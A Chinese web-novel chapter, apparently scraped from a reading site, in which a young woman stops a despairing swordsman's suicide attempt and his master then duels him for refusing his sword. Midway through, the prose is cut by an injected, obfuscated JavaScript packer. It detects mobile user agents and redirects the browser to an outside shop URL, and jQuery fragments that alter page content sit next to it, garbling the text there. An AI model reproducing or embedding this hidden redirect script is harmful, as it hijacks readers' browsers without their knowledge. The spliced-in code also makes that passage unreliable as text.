默认冷灰
24号文字
方正启体

5. 重逢

作者:春有及时雨本书字数:K更新时间:
    方倩然载着她御剑而起,终于在文津阁顶找到了声音的来源。


    只见一青衣男子执剑站在阁顶,面上是一片决绝。风掠过他的衣裳,卷起几片衣摆,显出清瘦的身形。


    眼睫微阖,剑尖已然抵上咽喉。


    方倩然载着陈谷芽在他背后稳稳降落,还没站稳,一个人影就已经从自己身后蹿了出去。


    “芽芽!”


    陈谷芽加快了些脚步。


    “住手!”


    脚步又快了些,直到抓住了那只手。


    男人由于这突如其来的变故手上动作一顿,手上一下卸了力,剑“哐当”一声摔在地上。


    他的眼中还蒙着一层润润的水雾,显出对这意外的茫然来。


    面前人还喘着气,脸上是挥之不去的惊惶。


    “有什么想不开的!”


    少女震声呵斥道,她不敢想象要是自己动作慢了点会是什么样。


    男人看到她的面容,瞳孔骤缩。


    是她。


    他还是这么没用,总是让她看见自己这种样子。


    低下头,散落的鬓发将脸掩住,声音沉而轻,恍若一个求死不能的可怜人。


    “我又......什么都做不到。”


    声音被风吹散,随之而来的,是女孩毫不留情的一巴掌。


    他的头无力地歪在一边,嘴角勾起一个讥笑。


    还真是相似呢。


    不过是这次换了一个人。


    方倩然赶紧冲过去拉住陈谷芽悬在空中的手。


    “芽芽,冷静冷静。”


    陈谷芽这才把手放下来,双手抱臂于胸前,看都不看旁边的男人一眼。


    “你不是......”


    方倩然越看这人越觉得熟悉,总感觉这张脸在哪里见过。


    她想起来了!


    “你是溪山道人的徒弟,这次青云宗风云会的魁首白煦宁?”


    眉头轻轻拧起,溪山道人之前总和师傅夸这徒弟,今日他来这里,也不知道溪山道人知不知道。


    陈谷芽虽不明白风云会是什么,但听到“魁首”二字也能多少猜出一点。


    气更加不打一处来,这就是他说的“什么都做不到”?


    提到师傅的名字,男人眼里的水波泛起了些涟漪。


    “对不起......”


    白煦宁的声音细如蚊声,陈谷芽想骂他,却霎时愣住了。


    少年有意侧头,陈谷芽只能看见他流畅的侧脸。


    头发把眉眼遮得影影绰绰,原本就清俊的面庞带上了几分朦胧,陈谷芽没来由的想起自己曾去过的莫奈的画展。


    高挺的鼻梁下是紧抿的嘴唇,唇缘由于过于用力的缘故,在空气中微微颤抖,却还是不小心逸散出几声呜咽。


    几滴晶莹从脸颊滑落,挂在少年人的下巴上。


    明明比自己高了一个头的人,此时却看起来像个一碰即碎的瓷娃娃。


    陈谷芽方才想说的话全被堵在了喉咙里,一时方寸大乱。


    她这个人什么场面都能应付得来,唯一搞不定的就是有人在自己面前哭。


    人类是唯一出生后需要持续哭泣的哺乳动物,伴随着啼哭来到这个世界,又被亲友的泪水裹挟着离开。


    每次这种时候,陈谷芽就觉得自己的语言系统过于匮乏,单纯的安慰觉得太过空泛,实操性的建议又害怕旁人听起带有说教意味。


    “你别哭啊。”


    “第一次见剑修哭哭啼啼的。”


    两道语气截然不同的声音同时响起。


    少年怔了一下,依旧没有出声,只不过头更低了些,这次连肩膀都在抖。


    好丢脸。


    她为什么总在自己最狼狈的时候出现。


    眼泪为什么止不住,明明不想哭的。


    陈谷芽看着旁边面上略带嫌弃的方倩然,叹了口气,伸手把她扯到了一边。


    “师姐,你先在这里等我一下吧。”


    这都快哭背过气去了她还使劲戳人家肺管子呢。


    “我也要说对不起,刚刚冲动打了你,没事吧。”


    陈谷芽走过去,用一根手指戳了戳还沉浸在悲伤中的人儿。


    没戳动。


    坏了,不会拿一下给人打坏了吧。


    她伸手想确认一下他的状况,指尖却在触碰的那一刻,感受到底下皮肤的战栗。


    “你不用道歉,是我没用。”


    陈谷芽不由得叹了口气,绕到他身前,两个人大眼瞪小眼地面对面站着。


    他最想掩饰的脆弱尽数展现在她眼前。


    “那你说说你哪没用了?”


    男人一下收了声,脸蛋湿漉漉的,眼边还带着未干的泪痕,看起来煞是可怜。


    他不明白这是什么意思。


    “你不是说自己还是什么都做不了,很没用吗?你说出来我帮你想办法呗。”


    陈谷芽耐心地解释着,低头把那柄剑捡了起来递给他。


    白煦宁却不知道自己要不要接过。


    “它不认可我的剑道,所以我没办法出师。”


    陈谷芽瞬间懂了。


    这不就是延毕嘛。


    男人垂在身边的手指蜷缩了一下,最终还是没有接过。


    “那就让它认可你啊,你死了它去认可谁?”


    “它说我不够坚定,所以我才......”


    “书上都是这么说的。”


    一个人如果没有别的办法去证明自己,以死证道便是一条途径。


    白煦宁辩解的声音越来越小。


    陈谷芽沉默了。


    什么教材这么激进。


    “我不认为你已经到了需要以死证道的地步。”


    “我也不认为你的剑完全不认可你。”


    “若你真如自己所说无用至极,你的剑当真这般不喜你,你又如何拿到魁首?”


    也许是因为自己死得草率,陈谷芽看到他垂头丧气的样子,便觉得有些血气上涌。


    无论是神创论,自然发生学说,还是普遍认同的化学进化说,都不能否认,生命的产生是一切偶然之中必然的奇迹。


    所以对待死亡,必须慎重再慎重才好。


    否则引起的只会是一场死别的灾难。


    “你若真在此失了性命,你的师傅又该如何?”


    “发现你尸体的人又该当如何?”


    男人琥珀色的眸子里映出女孩一丝不苟的表情。


    陈谷芽直勾勾地盯着他,眼神烫得要把他灼伤。


    “我......”


    空气兀然凝滞,不知何处而来的威压让陈谷芽差点双腿一软,差点跪在地上。


    而原本蹲在一边背丹方的方倩然脸色一变,跑过去把定在原地的陈谷芽捞走。


    顺手掏出了一黄符,双指轻巧一点。那黄符便悬浮空中,发出点点亮光。


    “万法不侵,开!”


    溪山真人的嗓门还是一如既往的大。


    好在她上次出门的时候多买了点护法型的符箓,不然她和师妹今天怕是要被殃及池鱼了。


    来者一袭红袍,容貌昳丽,一双标准的丹凤眼盯着还留在原地的白煦宁,开合间神光逼人。


    “给我滚过来!”


    朱唇轻启,语气却是毫不留情。


    这位当是刚刚方倩然所说白煦宁的师父——溪山道人了。


    陈谷芽记得这张脸,看来方倩然白天的时候应该用了易容。</


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17481077|201741||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    p>


    没想到这人就是他的师傅。


    方倩然像是见惯了这种场景,神色自若地蹲下来继续背她的丹方。


    还有两天就要考试了。她还有大半本书没背呢。


    林子福这个老妖公,只给她请了课假。


    说曹操曹操到,方倩然正背得入神,一只不速之手从她背后伸出来,指在书上的其中一行。


    “方脑袋,我这个地方都改过方子了,你上课是不是又打瞌睡了?”


    方倩然听见这个声音就想起金钟罩,反手就是一粒化形丹塞进来人嘴里。


    等到陈谷芽从自己的思考中走出来,两边的情形均已剑拔弩张。


    一边是已经打起来了的剑修师徒。


    溪山道人步步紧逼,出剑凌厉,毫不留情。


    白煦宁则是节节败退,却始终坚持着不捡起地上的那把剑,只是一味换着法子躲避。


    而另一边——


    方倩然满意地看着乖乖立在地上的石狮子,继续背丹方。


    “方脑袋,你最好现在帮为师解开。”


    方倩然不理他,只是偶尔在背后喋喋不休的噪音中插一句——


    “我身!即是不动明王!”


    整个场面比AI还诡异。


    祝余打了白煦宁足足八十一式,从阁顶中央打到边缘再打到中央,白煦宁就是跟自己的剑杠上了,死都不捡。


    比一拳打在棉花上还难受的是拳拳打在棉花上。


    她想逼他拿起剑,他就偏偏不如她的意。


    祝余越想越气,手上也从五分力气换上八分力气,招招往要害上刺。


    深红的衣袖翻飞,青色的剑穗犹如游龙一般随着动作舞蹈。


    白煦宁却没有这么从容了。


    他虽在弟子中排名第一,但和祝余的实力还是有很大差距,更何况无剑傍身,青衣上也难免挂了几处彩。


    一番鏖战下来,已经有些力不从心。


    祝余手腕一转,剑身顺势往他的破绽挥去,却和飞来的折扇撞上,发出“铿”的一声。


    “差不多够了。”


    “打伤了还不是你自己心疼。”


    林子福不知什么时候从石狮子变回了人形,陈谷芽下意识寻找方倩然的身影,最后在林子福脚边找到了一个迷你石狮子。


    和她以前在某购物平台买的小摆件一模一样,只不过前面还竖着那本《高级通用丹方》,时不时地翻着页。


    “什么时候背完了什么时候变回来。”


    小石狮子奋力跳了两下以示抗议,最后还是乖乖沉默地乖乖背书。


    “林子福,我教徒弟还用不着你来管。”


    男人听到这个称呼,抬手把扇子召了回来,左边眉毛高高挑起,深深地看了一眼捂着手臂堪堪站立的青年。


    坏了,祝余这女人是真生气了。


    “我就算把你家小徒弟的丹药全吃了也不会心疼他!”


    “你看他说死就死的样子,有一点心疼我的样子吗!”


    ?


    这个句式不对吧。


    她可是刚刚才救了人,怎么现在站着也中枪。


    谁把她丹药的事情说出去的!


    “烦死了。”


    她把那把剑捡起来,往男人怀里一扔。


    白煦宁闷哼了一声,终究还是接下了。


    “你就呆在这里养伤吧,它认可你之前不许回来。”


    女人不耐地收剑入鞘,干脆利落地转身离开。


    “我祝余从来没有人剑不合的徒弟。”


    白煦宁终于坚持不住,倒在了地上。


    林子福嘴角抽了抽,看了眼地上的石狮子,还在勤勤恳恳背着书。


    这女人又把烂摊子丢给他。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)